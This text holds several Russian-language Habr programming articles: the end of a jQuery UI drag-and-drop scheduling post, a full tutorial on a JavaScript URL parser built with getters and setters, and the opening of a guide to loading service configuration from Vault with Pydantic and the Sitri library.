> $(ui.draggable).css('top','auto').css('left','auto');
>
>
>
> // Еще один маленький штрих - когда в ячейке все три поля заполнены, добавляем ей сверху в левом верхнем углу "+" с помощью добавления класса ячейке.
>
>
>
> if (($(this).find('div.instructor').text()!='') &&
>
> ($(this).find('div.program').text()!='') &&
>
> ($(this).find('div.zal').text()!=''))
>
>
>
> {$(this).addClass('added'); }
>
>
>
> // Если заполнены все поля, то добавляем ячейке класс 'added'
>
> }
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В итоге, мы получем возможность перетаскивать самих инструкторов, залы и занятия!
Конечно, решение пока сырое, еще надо реализовать удаление, замещение и прочие фишки, однако, задумка уже реализована.
PS: Справка от первоисточника:
[jqueryui.com/demos/droppable](http://jqueryui.com/demos/droppable/)
[jqueryui.com/demos/draggable](http://jqueryui.com/demos/draggable/) | https://habr.com/ru/post/94347/ | null | ru | null |
# Парсим URL
Хочу поделиться одной полезной утилиткой, написанной на pure JavaScript, — URL. По сути это небольшой парсер URL'ов, работающий почти как `window.location`, но не перезагружающий страницу браузера при манипуляциях.
А заодно скажу пару слов про getters & setters в JavaScript.
**UPD1:** по просьбам трудящихся, вынесу сюда примеры:
> `// Пусть текущий URL = 'http://my.site.com/somepath/'
>
> var u = new URL('relative/path/index.html')
>
> u.href // my.site.com/somepath/relative/path/index.html
>
> u.href = '/absolute/path.php?a=8#some-hash'
>
> u.href // my.site.com/absolute/path.php?a=8#some-hash
>
> u.hash // #some-hash
>
> u.protocol = 'https:'
>
> u.href // my.site.com/absolute/path.php?a=8#some-hash
>
> u.host = 'another.site.com:8080'
>
> u.href // another.site.com:8080/absolute/path.php?a=8#some-hash
>
> u.port // 8080
>
> // и так далее, и тому подобное
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Работает в FF3+ (может и в 2+, не пробовал) и в **IE6+** ( и это — моё ноу-хау :-) ).
Разобрана в статье также полностью кросс-браузерная реализация, но в использовании — немного более громоздкая:
> `// Пусть текущий URL = 'http://my.site.com/somepath/'
>
> var u = new URL('relative/path/index.html')
>
> u.href() // my.site.com/somepath/relative/path/index.html
>
> u.href('/absolute/path.php?a=8#some-hash')
>
> u.href() // my.site.com/absolute/path.php?a=8#some-hash
>
> // и т.д.
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Да, и я привожу свой листинг полностью, извиняйте, так надо.
**UPD2:** кратко объясню цели моей библиотеки:
Данная тулза возникла именно из практических нужд.
И я видел уже несколько *кустарных* разработок подобного назначения в больших JS-проектах, таких, как TinyMCE. В RTE часто имеешь дело со ссылками на ресурсы. И эти ссылки нужно обрабатывать в real-time.
Конкретно мне надо было распарсить текущий URL и изменить/добавить новый параметр в search, с последующим редиректом.
Можно придумать ещё.
Проблема
--------
В чём же, собственно, проблема? Проблема в том, что:
1. Мы не можем использовать объект `window.location`, т.к. он перезагружает текущую страницу при малейших изменениях
2. Мы не можем создать ещё один такой же объект через конструктор `Location` — атата! запрещено браузероводами!
3. Сам объект довольно нетривиален в поведении
4. Ну и я не нашёл никакой готовой реализации :)
Я упомянул про нетривиальность поведения. Вот она в чём:
При изменении любой из частей URL должны обновляться другие.
Разбор на части
---------------
По сути я буду создавать подобие `window.location`, поэтому и обозначения тащу оттуда. Разберём пример:
Без комментариев :)
Как ни крутись, без RegExp не обойтись
--------------------------------------
Основную работу выполнять будет, конечно же, Regular Expression:
> `var pattern = "^(([^:/\\?#]+):)?(//(([^:/\\?#]\*)(?::([^/\\?#]\*))?))?([^\\?#]\*)(\\?([^#]\*))?(#(.\*))?$";
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь более подробно:
> `var pattern =
>
> // Match #0. URL целиком (#0 - это HREF, в терминах window.location).
>
> // Например, #0 == "https://example.com:8080/some/path/index.html?p=1&q=2&r=3#some-hash"
>
> "^" +
>
> // Match #1 & #2. SCHEME (#1 - это PROTOCOL, в терминах window.location).
>
> // Например, #1 == "https:", #2 == "https"
>
> "(([^:/\\?#]+):)?" +
>
> // Match #3-#6. AUTHORITY (#4 = HOST, #5 = HOSTNAME и #6 = PORT, в терминах window.location)
>
> // Например, #3 == "//example.com:8080", #4 == "example.com:8080", #5 == "example.com", #6 == "8080"
>
> "(" +
>
> "//(([^:/\\?#]\*)(?::([^/\\?#]\*))?)" +
>
> ")?" +
>
> // Match #7. PATH (#7 = PATHNAME, в терминах window.location).
>
> // Например, #7 == "/some/path/index.html"
>
> "([^\\?#]\*)" +
>
> // Match #8 & #9. QUERY (#8 = SEARCH, в терминах window.location).
>
> // Например, #8 == "?p=1&q=2&r=3", #9 == "p=1&q=2&r=3"
>
> "(\\?([^#]\*))?" +
>
> // Match #10 & #11. FRAGMENT (#10 = HASH, в терминах window.location).
>
> // Например, #10 == "#some-hash", #11 == "some-hash"
>
> "(#(.\*))?" + "$";
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Как нетрудно догадаться, этот RegExp будет работать не только в JavaScript, но и в сотне других языков. Пользуйтесь на здоровье! ;)
Попытка №1
----------
> `function URL(url) {
>
> url = url || "";
>
> this.parse(url);
>
> }
>
> URL.prototype = {
>
> // Если меняем this.href, не забываем вызывать после этого this.parse()
>
> href: "",
>
> // Если меняем что-то из следующего, не забываем вызывать после этого this.update()
>
> protocol: "",
>
> host: "",
>
> hostname: "",
>
> port: "",
>
> pathname: "",
>
> search: "",
>
> hash: "",
>
>
>
> parse: function(url) {
>
> url = url || this.href;
>
> var pattern = "^(([^:/\\?#]+):)?(//(([^:/\\?#]\*)(?::([^/\\?#]\*))?))?([^\\?#]\*)(\\?([^#]\*))?(#(.\*))?$";
>
> var rx = new RegExp(pattern);
>
> var parts = rx.exec(url);
>
>
>
> this.href = parts[0] || "";
>
> this.protocol = parts[1] || "";
>
> this.host = parts[4] || "";
>
> this.hostname = parts[5] || "";
>
> this.port = parts[6] || "";
>
> this.pathname = parts[7] || "/";
>
> this.search = parts[8] || "";
>
> this.hash = parts[10] || "";
>
>
>
> this.update();
>
> },
>
>
>
> update: function() {
>
> // Плюшка для protocol - если не указан, берём текущий
>
> if (!this.protocol)
>
> this.protocol = window.location.protocol;
>
>
>
> // Плюшки для relative pathname/URL - если задаём relative, то "добавляется" к текущему
>
> this.pathname = this.pathname.replace(/^\s\*/g, '');
>
> if (!this.host && this.pathname && !/^\//.test(this.pathname)) {
>
> // Если честно, это не лучший вариант. Но тут лучше я не придумал.
>
> var \_p = window.location.pathname.split('/');
>
> \_p[\_p.length - 1] = this.pathname;
>
> this.pathname = \_p.join('/');
>
> };
>
>
>
> // Плюшка для hostname - если не указан, берём текущий
>
> if (!this.hostname)
>
> this.hostname = window.location.hostname;
>
>
>
> this.host = this.hostname + (("" + this.port) ? ":" + this.port : "");
>
> this.href = this.protocol + '//' + this.host + this.pathname + this.search + this.hash;
>
> },
>
>
>
> /\*\*
>
> \* Есть такой метод у window.location. Переход по заданому URL.
>
> \*/
>
> assign: function(url) {
>
> this.parse(url);
>
> window.location.assign(this.href);
>
> },
>
>
>
> /\*\*
>
> \* Есть такой метод у window.location. Переход по заданому URL, но без внесения в history
>
> \*/
>
> replace: function(url) {
>
> this.parse(url);
>
> window.location.replace(this.href);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
### В деталях
* Как видим, присутствуют привычные для `window.location` аттрибуты `href, port, hash` и т.д.
* Присутствуют также привычные для `window.location` методы `assign(...), replace(...)`
* Метод **`parse(...)`** делает главную работу — парсит URL на составные части.
* И метод **`update(...)`** — обновляет все части, если одна из них была изменена.
Всё бы ничего, но мы обязуем пользователя *постоянно вызывать `update(...)` и `parse(...)`* после изменения любого кусочка URL (например, port). Это ужасно. Ведь пользователь может забыть это сделать, и тогда всё летит в тар-тарары.
К сожалению, в данной реализации от этого не уйти. Но можно ведь всё сделать иначе :)
Попытка №2
----------
А сейчас я предложу уже приемлемый вариант. Нам нужны getters & setters. Самый очевидный путь — для каждого параметра создать методы (н-р) `getProtocol() & setProtocol(newProtocol)`. Но мне такой подход не нравится из-за своей громоздкости.
Сделаем это in more JavaScript way. Будет один метод `protocol(...)` и если мы вызываем его без параметров, то это getter, а если с одним параметром, — то setter.
Настоящие же данные мы спрячем в замыкании.
> `var URL;
>
>
>
> // Прячем всю реализацию в замыкание. Так надо, т.к. мы прячем служебные функции parseURL и updateURL.
>
> (function() {
>
>
>
> URL = function(url) {
>
> // Собственно, данные. Для каждого нового объекта URL - свои, естественно.
>
> var href, protocol, host, hostname, port, pathname, search, hash;
>
>
>
> // Минус данного подхода - нам приходится определять методы в конструкторе, а не в прототипе.
>
> // Get/set href - при set вызываем parseURL.call(this),
>
> // т.е. внешняя функция parseURL обрабатывает объект типа URL - this.
>
> this.href = function(val) {
>
> if (typeof val != "undefined") {
>
> href = val;
>
> parseURL.call(this);
>
> }
>
> return href;
>
> }
>
>
>
> // Get/set protocol
>
> // Подобно set href, set protocol вызывает updateURL.call(this), который обновляет все параметры.
>
> this.protocol = function(val) {
>
> if (typeof val != "undefined") {
>
> // Плюшка - если protocol не задан, берём из window.location
>
> if (!val)
>
> val = protocol || window.location.protocol;
>
> protocol = val;
>
> updateURL.call(this);
>
> }
>
> return protocol;
>
> }
>
>
>
> // Get/set host
>
> // Здесь особенность в том, что host, hostname и port - связаны между собой.
>
> // Поэтому надо делать дополнительную работу при set host.
>
> this.host = function(val) {
>
> if (typeof val != "undefined") {
>
> val = val || '';
>
> var v = val.split(':');
>
> var h = v[0], p = v[1] || '';
>
> host = val;
>
> hostname = h;
>
> port = p;
>
> updateURL.call(this);
>
> }
>
> return host;
>
> }
>
>
>
> // Get/set hostname
>
> // Опять учитываем связку host, hostname и port.
>
> this.hostname = function(val) {
>
> if (typeof val != "undefined") {
>
> if (!val)
>
> val = hostname || window.location.hostname;
>
> hostname = val;
>
> host = val + (("" + port) ? ":" + port : "");
>
> updateURL.call(this);
>
> }
>
> return hostname;
>
> }
>
>
>
> // Get/set port
>
> // Опять учитываем связку host, hostname и port.
>
> this.port = function(val) {
>
> if (typeof val != "undefined") {
>
> port = val;
>
> host = hostname + (("" + port) ? ":" + port : "");
>
> updateURL.call(this);
>
> }
>
> return port;
>
> }
>
>
>
> // Get/set pathname
>
> // С pathname интересно. Я сделал возможность использования
>
> // relative pathname, т.е. если мы будем set'ить pathname,
>
> // и новое значение не будет начинаться с '/', то дополнится текущее.
>
> this.pathname = function(val) {
>
> if (typeof val != "undefined") {
>
> if (val.indexOf("/") != 0) { // relative url
>
> var \_p = (pathname || window.location.pathname).split("/");
>
> \_p[\_p.length - 1] = val;
>
> val = \_p.join("/");
>
> }
>
> pathname = val;
>
> updateURL.call(this);
>
> }
>
> return pathname;
>
> }
>
>
>
> // Get/set search
>
> this.search = function(val) {
>
> if (typeof val != "undefined") {
>
> search = val;
>
> }
>
> return search;
>
> }
>
>
>
> // Get/set hash
>
> this.hash = function(val) {
>
> if (typeof val != "undefined") {
>
> hash = val;
>
> }
>
> return hash;
>
> }
>
>
>
> url = url || "";
>
> parseURL.call(this, url);
>
> }
>
>
>
> URL.prototype = {
>
> /\*\*
>
> \* Есть такой метод у window.location. Переход по заданому URL.
>
> \*/
>
> assign: function(url) {
>
> parseURL.call(this, url);
>
> window.location.assign(this.href());
>
> },
>
>
>
> /\*\*
>
> \* Есть такой метод у window.location. Переход по заданому URL, но без внесения в history
>
> \*/
>
> replace: function(url) {
>
> parseURL.call(this, url);
>
> window.location.replace(this.href());
>
> }
>
> }
>
>
>
> // Служебная функция, которая разбирает URL на кусочки.
>
> // В предидущей реализации эта ф-ция была методом объекта URL.
>
> // Теперь я её вынес, т.к. пользователь больше никогда не будет её вызывать.
>
> function parseURL(url) {
>
> if (this.\_innerUse)
>
> return;
>
>
>
> url = url || this.href();
>
> var pattern = "^(([^:/\\?#]+):)?(//(([^:/\\?#]\*)(?::([^/\\?#]\*))?))?([^\\?#]\*)(\\?([^#]\*))?(#(.\*))?$";
>
> var rx = new RegExp(pattern);
>
> var parts = rx.exec(url);
>
>
>
> // Prevent infinite recursion
>
> this.\_innerUse = true;
>
>
>
> this.href(parts[0] || "");
>
> this.protocol(parts[1] || "");
>
> //this.host(parts[4] || "");
>
> this.hostname(parts[5] || "");
>
> this.port(parts[6] || "");
>
> this.pathname(parts[7] || "/");
>
> this.search(parts[8] || "");
>
> this.hash(parts[10] || "");
>
>
>
> delete this.\_innerUse;
>
>
>
> updateURL.call(this);
>
> }
>
>
>
> // Служебная функция, которая обновляет URL при изменении кусочка.
>
> // В предидущей реализации эта ф-ция тоже была методом объекта URL.
>
> // Теперь я её вынес, т.к. пользователь больше никогда не будет её вызывать.
>
> // Заметим, что эта фуекция сильно похудела, её части разошлись по setter'ам.
>
> function updateURL() {
>
> if (this.\_innerUse)
>
> return;
>
>
>
> // Prevent infinite recursion
>
> this.\_innerUse = true;
>
>
>
> this.href(this.protocol() + '//' + this.host() + this.pathname() + this.search() + this.hash());
>
>
>
> delete this.\_innerUse;
>
> }
>
>
>
> })()
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В целом — код есть self-documented, поэтому объясню лишь ключевые моменты:
* Прототип оскуднел на 2 метода `parse(...)` и `update(...)`, которые были вынесены, соответственно, в функции `parseURL(...)` и `updateURL(...)`
* Также из прототипа ушли все данные (`href, port, host` и т.д.), и поселились в замыкании, созданном конструктором. А работа с ними теперь идёт через getters & setters
Примеры
-------
Ну и сразу к примерам. Ведь главное — посмотреть эту штуку в действии.
> `// Пусть текущий URL = 'http://my.site.com/somepath/'
>
> var u = new URL('relative/path/index.html')
>
> u.href() // my.site.com/somepath/relative/path/index.html
>
> u.href('/absolute/path.php?a=8#some-hash')
>
> u.href() // my.site.com/absolute/path.php?a=8#some-hash
>
> u.hash() // #some-hash
>
> u.protocol('https:')
>
> u.href() // my.site.com/absolute/path.php?a=8#some-hash
>
> u.host('another.site.com:8080')
>
> u.href() // another.site.com:8080/absolute/path.php?a=8#some-hash
>
> u.port() // 8080
>
> // и так далее, и тому подобное
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вот так. Всё работает.
Вообщем-то это вполне рабочая версия. Назовём её version 1.0 final.
А теперь перейдём к version 2.0 alpha, или в игру вступают tru getter'ы и setter'ы.
Попытка №3
----------
Приведу код, а потом рассмотрю интересные моменты.
> `var URL;
>
>
>
> (function() {
>
> var isIE = window.navigator.userAgent.indexOf('MSIE') != -1;
>
>
>
> URL = function(url) {
>
> var data = {href: '', protocol: '', host: '', hostname: '', port: '', pathname: '', search: '', hash: ''};
>
>
>
> var gs = {
>
> getHref: function() {
>
> return data.href;
>
> },
>
> setHref: function(val) {
>
> data.href = val;
>
> parseURL.call(this);
>
> return data.href;
>
> },
>
>
>
> getProtocol: function() {
>
> return data.protocol;
>
> },
>
> setProtocol: function(val) {
>
> if (!val)
>
> val = data.protocol || window.location.protocol; // update || init
>
> data.protocol = val;
>
> updateURL.call(this);
>
> return data.protocol;
>
> },
>
>
>
> getHost: function() {
>
> return data.host;
>
> },
>
> setHost: function(val) {
>
> val = val || '';
>
> var v = val.split(':');
>
> var h = v[0], p = v[1] || '';
>
> data.host = val;
>
> data.hostname = h;
>
> data.port = p;
>
> updateURL.call(this);
>
> return data.host;
>
> },
>
>
>
> getHostname: function() {
>
> return data.hostname;
>
> },
>
> setHostname: function(val) {
>
> if (!val)
>
> val = data.hostname || window.location.hostname; // update || init
>
> data.hostname = val;
>
> data.host = val + (("" + data.port) ? ":" + data.port : "");
>
> updateURL.call(this);
>
> return data.hostname;
>
> },
>
>
>
> getPort: function() {
>
> return data.port;
>
> },
>
> setPort: function(val) {
>
> data.port = val;
>
> data.host = data.hostname + (("" + data.port) ? ":" + data.port : "");
>
> updateURL.call(this);
>
> return data.port;
>
> },
>
>
>
> getPathname: function() {
>
> return data.pathname;
>
> },
>
> setPathname: function(val) {
>
> if (val.indexOf("/") != 0) { // relative url
>
> var \_p = (data.pathname || window.location.pathname).split("/");
>
> \_p[\_p.length - 1] = val;
>
> val = \_p.join("/");
>
> }
>
> data.pathname = val;
>
> updateURL.call(this);
>
> return data.pathname;
>
> },
>
>
>
> getSearch: function() {
>
> return data.search;
>
> },
>
> setSearch: function(val) {
>
> return data.search = val;
>
> },
>
>
>
> getHash: function() {
>
> return data.hash;
>
> },
>
> setHash: function(val) {
>
> return data.hash = val;
>
> }
>
> };
>
>
>
> if (isIE) { // IE5.5+
>
> var el=document.createElement('div');
>
> el.style.display='none';
>
> document.body.appendChild(el);
>
> el.assign = URL.prototype.assign;
>
> el.replace = URL.prototype.replace;
>
> var keys = ["href", "protocol", "host", "hostname", "port", "pathname", "search", "hash"];
>
> el.onpropertychange=function(){
>
> var pn = event.propertyName;
>
> var pv = event.srcElement[event.propertyName];
>
> if (this.\_holdOnMSIE || pn == '\_holdOnMSIE')
>
> return pv;
>
> this.\_holdOnMSIE = true;
>
> for (var i = 0, l = keys.length; i < l; i++)
>
> el[keys[i]] = data[keys[i]];
>
> this.\_holdOnMSIE = false;
>
> for (var i = 0, l = keys.length; i < l; i++) {
>
> var key = keys[i];
>
> if (pn == key) {
>
> var sKey = 'set' + key.substr(0, 1).toUpperCase() + key.substr(1);
>
> return gs[sKey].call(el, pv);
>
> }
>
> }
>
> }
>
> url = url || "";
>
> parseURL.call(el, url);
>
> return el;
>
> } else if (URL.prototype.\_\_defineSetter\_\_) { // FF
>
> var keys = ["href", "protocol", "host", "hostname", "port", "pathname", "search", "hash"];
>
> for (var i = 0, l = keys.length; i < l; i++) {
>
> (function(i) {
>
> var key = keys[i];
>
> var gKey = 'get' + key.substr(0, 1).toUpperCase() + key.substr(1);
>
> var sKey = 'set' + key.substr(0, 1).toUpperCase() + key.substr(1);
>
> URL.prototype.\_\_defineGetter\_\_(key, gs[gKey]);
>
> URL.prototype.\_\_defineSetter\_\_(key, gs[sKey]);
>
> })(i);
>
> }
>
> url = url || "";
>
> parseURL.call(this, url);
>
> }
>
> }
>
>
>
> URL.prototype = {
>
> assign: function(url) {
>
> parseURL.call(this, url);
>
> window.location.assign(this.href);
>
> },
>
>
>
> replace: function(url) {
>
> parseURL.call(this, url);
>
> window.location.replace(this.href);
>
> }
>
> }
>
>
>
> function parseURL(url) {
>
> if (this.\_innerUse)
>
> return;
>
>
>
> url = url || this.href;
>
> var pattern = "^(([^:/\\?#]+):)?(//(([^:/\\?#]\*)(?::([^/\\?#]\*))?))?([^\\?#]\*)(\\?([^#]\*))?(#(.\*))?$";
>
> var rx = new RegExp(pattern);
>
> var parts = rx.exec(url);
>
>
>
> // Prevent infinite recursion
>
> this.\_innerUse = true;
>
>
>
> this.href = parts[0] || "";
>
> this.protocol = parts[1] || "";
>
> //this.host = parts[4] || "";
>
> this.hostname = parts[5] || "";
>
> this.port = parts[6] || "";
>
> this.pathname = parts[7] || "/";
>
> this.search = parts[8] || "";
>
> this.hash = parts[10] || "";
>
>
>
> if (!isIE)
>
> delete this.\_innerUse;
>
> else
>
> this.\_innerUse = false;
>
>
>
> updateURL.call(this);
>
> }
>
>
>
> function updateURL() {
>
> if (this.\_innerUse)
>
> return;
>
>
>
> // Prevent infinite recursion
>
> this.\_innerUse = true;
>
>
>
> this.href = this.protocol + '//' + this.host + this.pathname + this.search + this.hash;
>
>
>
> if (!isIE)
>
> delete this.\_innerUse;
>
> else
>
> this.\_innerUse = false;
>
> }
>
>
>
> })()
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Рассмотрим создание getter/setter'ов:
* **Случай для Firefox:**
> `var keys = ["href", "protocol", "host", "hostname", "port", "pathname", "search", "hash"];
>
> for (var i = 0, l = keys.length; i < l; i++) {
>
> (function(i) {
>
> var key = keys[i];
>
> var gKey = 'get' + key.substr(0, 1).toUpperCase() + key.substr(1);
>
> var sKey = 'set' + key.substr(0, 1).toUpperCase() + key.substr(1);
>
> URL.prototype.\_\_defineGetter\_\_(key, gs[gKey]);
>
> URL.prototype.\_\_defineSetter\_\_(key, gs[sKey]);
>
> })(i);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Используем магические `URL.prototype.__defineGetter__` и `URL.prototype.__defineSetter__`. Вследствии у нас появятся псевдо-аттрибуты `url.href, url.path` и т.д., изменяя которые на самом деле будут вызываться функции-обработчики.
* **Случай для Internet Explorer:** а вот тут начинаются танцы с бубном. Версии IE < 8 вообще не имеют механизмов getter/setter. Однако есть чудесное событие — `onpropertchange`. Ничего не остаётся, как воспользоваться. Однако возникает осложнение — это событие присутствует только у DOM-элементов, да и то лишь тогда, когда эти элементы **уже включены в DOM-модель**. Что же, так и поступим:
> `var el = document.createElement('div');
>
> el.style.display = 'none';
>
> document.body.appendChild(el);
>
> // ...
>
> el.onpropertychange = function(){
>
> var pn = event.propertyName; // имя изменённого параметра
>
> var pv = event.srcElement[event.propertyName]; // его новое значение
>
> // ...
>
> }
>
> // ...
>
> return el; // обязательно вернуть el. Т.е. по сути new URL(...)
>
> // вернёт не объект типа URL, а элемент DIV.
>
> // Признаюсь, это не очень хорошо, т.к. к примеру
>
> // теряется связь instanceof. Но что тут поделаешь, это IE, детка :)
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Примеры №2
----------
> `// Пусть текущий URL = 'http://my.site.com/somepath/'
>
> var u = new URL('relative/path/index.html')
>
> u.href // my.site.com/somepath/relative/path/index.html
>
> u.href = '/absolute/path.php?a=8#some-hash'
>
> u.href // my.site.com/absolute/path.php?a=8#some-hash
>
> u.hash // #some-hash
>
> u.protocol = 'https:'
>
> u.href // my.site.com/absolute/path.php?a=8#some-hash
>
> u.host = 'another.site.com:8080'
>
> u.href // another.site.com:8080/absolute/path.php?a=8#some-hash
>
> u.port // 8080
>
> // и так далее, и тому подобное
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Работает в FF3+, IE6+. Можно докрутить для Safari/Chrome. Насчёт Opera — не уверен. Необходимо RTFM.
Вот так
-------
Надеюсь, я сделал что-то полезное и не впустую потратил день своей жизни на написание этой статьи :-)
P.S.: да, я думаю написать отдельную статейку, посвящённую getter'ам и setter'ам в разных браузерах. Не Firefox'ом одним живы (небольшой пи-ар: чтобы не нагружать Habrahabr моим потоком мыслей — милости прошу на мой блог — <http://web-by-kott.blogspot.com/>. Там пока-что пустынно, но я только начинаю) | https://habr.com/ru/post/65407/ | null | ru | null |
# Vault+Pydantic: конфигурация с четкой структурой и валидацией
Предисловие
===========
[Продолжение саги. Сразу, на всякий случай](https://habr.com/ru/post/533274/)
В данной статье я расскажу о конфигурации для вашей сервисов с помощью связки Vault (KV и пока только первой версии, т.е. без версионирования секретов) и Pydantic (Settings) под патронажем [Sitri](https://github.com/LemegetonX/sitri).
Итак, допустим, что у нас есть приложение superapp с заведёнными конфигами в Vault и аутентификацией с помощью approle, примерно так настроим (настройку policies для доступа к секрет-энжайнам и к самим секретам я оставлю за кадром, так как это достаточно просто и статья не об этом):
```
Key Value
--- -----
bind_secret_id true
local_secret_ids false
policies [superapp_service]
secret_id_bound_cidrs
secret\_id\_num\_uses 0
secret\_id\_ttl 0s
token\_bound\_cidrs []
token\_explicit\_max\_ttl 0s
token\_max\_ttl 30m
token\_no\_default\_policy false
token\_num\_uses 50
token\_period 0s
token\_policies [superapp\_service]
token\_ttl 20m
token\_type default
```
*Прим.:* естественно, что если у вас есть возможность и приложение выходит в боевой режим, то secret\_id\_ttl лучше делать не бесконечным, выставляя 0 секунд.
SuperApp требует конфигурации: подключения к базе данных, подключение к kafka и [faust](https://faust.readthedocs.io) конфигурации для работы кластера воркеров.
Подготовим Sitri
================
В базовой документации библиотеки есть [простой пример](https://sitri.readthedocs.io/en/latest/advanced_usage.html#vault-kv-setting-example), конфигурирования через vault-провайдер, однако, он не охватывает все возможности и может быть полезным, если ваше приложение конфигурируется достаточно легко.
Итак, для начала сконфигурируем vault-провайдер в условном файле *provider\_config.py*:
```
import hvac
from sitri.providers.contrib.vault import VaultKVConfigProvider
from sitri.providers.contrib.system import SystemConfigProvider
configurator = SystemConfigProvider(prefix="superapp")
ENV = configurator.get("env")
def vault_client_factory() -> hvac.Client:
client = hvac.Client(url=configurator.get("vault_api"))
client.auth_approle(
role_id=configurator.get("role_id"),
secret_id=configurator.get("secret_id"),
)
return client
provider = VaultKVConfigProvider(
vault_connector=vault_client_factory, mount_point=f"{configurator.get('app_name')}/{ENV}"
)
```
В данном случае мы достаём из среды с помощью системного провайдера несколько переменных для конфигурирования подключения к vault, т.е. изначально должны быть экспортированы следующие переменные:
```
export SUPERAPP_ENV=dev
export SUPERAPP_APP_NAME=superapp
export SUPERAPP_VAULT_API=https://your-vault-host.domain
export SUPERAPP_ROLE_ID=535b268d-b858-5fb9-1e3e-79068ca77e27 # Пример
export SUPERAPP_SECRET_ID=243ab423-12a2-63dc-3d5d-0b95b1745ccf # Пример
```
В примере предполагается, что базовый mount\_point к вашим секретам для определённой среды будет содержать имя приложения и имя среды, поэтому мы и экспортировали *SUPERAPP\_ENV*. Путь до секретов отдельных частей приложения мы будем определять в settings-классах далее, поэтому в провайдере *secret\_path* мы оставляем пустым.
Классы настроек
===============
Начнём по пунктам и разнесём три класса настроек (БД, Kafka, Faust) по трём разным файлам.
Настройки БД
------------
```
from pydantic import Field
from sitri.settings.contrib.vault import VaultKVSettings
from superapp.config.provider_config import provider
class DBSettings(VaultKVSettings):
user: str = Field(..., vault_secret_key="username")
password: str = Field(...)
host: str = Field(...)
port: int = Field(...)
class Config:
provider = provider
default_secret_path = "db"
```
Итак, как видите, конфиг. данные для базы у нас достаточно простые. Этот класс будет по-умолчанию смотреть в секрет *superapp/dev/db*, так, как мы указали в config классе, в остальном здесь простые pydantic поля, но в одном из них присутствует extra-аргумент *vault\_secret\_key* — он нужен тогда, когда ключ в секрете не совпадает по имени с pydantic полем в нашем классе, если его не указывать, то провайдер будет искать ключ по имени поля.
Например, в нашем тестовом приложении, предполагается, что в секрете *superapp/dev/db*, есть ключи password и username, но мы хотим, чтобы последний был помещён в поле user для удобства и краткости.
Поместим в вышеозначенный секрет следующие данные для примера:
```
{
"host": "testhost",
"password": "testpassword",
"port": "1234",
"username": "testuser"
}
```
Для первого класса из тройки, я покажу, как легко можно всё это запустить, чтобы данные собрались сами:
```
db_settings = DBSettings()
pprint(db_settings.dict())
# ->
# {
# "host": "testhost",
# "password": "testpassword",
# "port": 1234,
# "user": "testuser"
# }
```
Настройки Kafka
---------------
```
from typing import Dict, Any
from pydantic import Field
from sitri.settings.contrib.vault import VaultKVSettings
from superapp.config.provider_config import provider, configurator
class KafkaSettings(VaultKVSettings):
mechanism: str = Field(..., vault_secret_key="auth_mechanism")
brokers: str = Field(...)
auth_data: Dict[str, Any] = Field(...)
class Config:
provider = provider
default_secret_path = "kafka"
default_mount_point = f"{configurator.get('app_name')}/common"
```
В данном случае, представим, что инстанс кафки для разных сред нашего сервиса один, поэтому секрет хранится по пути *superapp/common/kafka*
```
{
"auth_data": "{\"password\": \"testpassword\", \"username\": \"testuser\"}",
"auth_mechanism": "SASL_PLAINTEXT",
"brokers": "kafka://test"
}
```
Класс настройки поймёт комплексный тип данных Dict[str, Any] и распарсит его в словарь, то есть при заполнении наших настроек будут следующие данные:
```
{
"auth_data":
{
"password": "testpassword",
"username": "testuser"
},
"brokers": "kafka://test",
"mechanism": "SASL_PLAINTEXT"
}
```
Так же, если секрет будет задан напрямую в json, например так:
```
{
"auth_data": {
"password": "testpassword",
"username": "testuser"
},
"auth_mechanism": "SASL_PLAINTEXT",
"brokers": "kafka://test"
}
```
То класс настроек тоже сможет правильно разложить данные.
P.S.
Так же, secret\_path и mount\_point можно задавать на уровне полей, чтобы провайдер запросил конкретные значения из разных секретов (если это требуется). Приведу цитату с приоритезацией пути секрета и точки монтирования из документации:
> Secret path prioritization:
>
> 1. vault\_secret\_path (Field arg)
> 2. default\_secret\_path (Config class field)
> 3. secret\_path (provider initialization optional arg)
>
>
>
>
>
> Mount point prioritization:
>
> 1. vault\_mount\_point (Field arg)
> 2. default\_mount\_point (Config class field)
> 3. mount\_point (provider initialization optional arg)
>
>
>
>
Настройки Faust и отдельных воркеров
------------------------------------
```
from typing import Dict
from pydantic import Field, BaseModel
from sitri.settings.contrib.vault import VaultKVSettings
from superapp.config.provider_config import provider
class AgentConfig(BaseModel):
partitions: int = Field(...)
concurrency: int = Field(...)
class FaustSettings(VaultKVSettings):
app_name: str = Field(...)
default_partitions_count: int = Field(..., vault_secret_key="partitions_count")
default_concurrency: int = Field(..., vault_secret_key="agent_concurrency")
agents: Dict[str, AgentConfig] = Field(default=None, vault_secret_key="agents_specification")
class Config:
provider = provider
default_secret_path = "faust"
```
*superapp/dev/faust*:
```
{
"agent_concurrency": "5",
"app_name": "superapp-workers",
"partitions_count": "10"
}
```
В данном случае, по-умолчанию у нас есть глобальные значения кол-ва партиций в кафке и concurrency для агентов. Таким образом, по-умолчанию наши настройки будут выгружены так:
```
{
"agents": None,
"app_name": "superapp-workers",
"default_concurrency": 5,
"default_partitions_count": 10
}
```
Например, у нас есть агент *X* с настройками:
```
{
"partitions": 5,
"concurrency": 2
}
```
Наш секрет в связи с этим должен выглядеть следующим образом:
```
{
"agent_concurrency": "5",
"agents_specification": {
"X": {
"concurrency": "2",
"partitions": "5"
}
},
"app_name": "superapp-workers",
"partitions_count": "10"
}
```
Как и ожидалось данные корректно смапились и типы значений были преобразованы так, как указано в модели *AgentConfig*:
```
{
"agents":
{
"X":
{
"concurrency": 2,
"partitions": 5
}
},
"app_name": "superapp-workers",
"default_concurrency": 5,
"default_partitions_count": 10
}
```
Совмещаем в единый конфиг класс
-------------------------------
```
from pydantic import BaseModel, Field
from superapp.config.database_settings import DBSettings
from superapp.config.faust_settings import FaustSettings
from superapp.config.kafka_settings import KafkaSettings
class AppSettings(BaseModel):
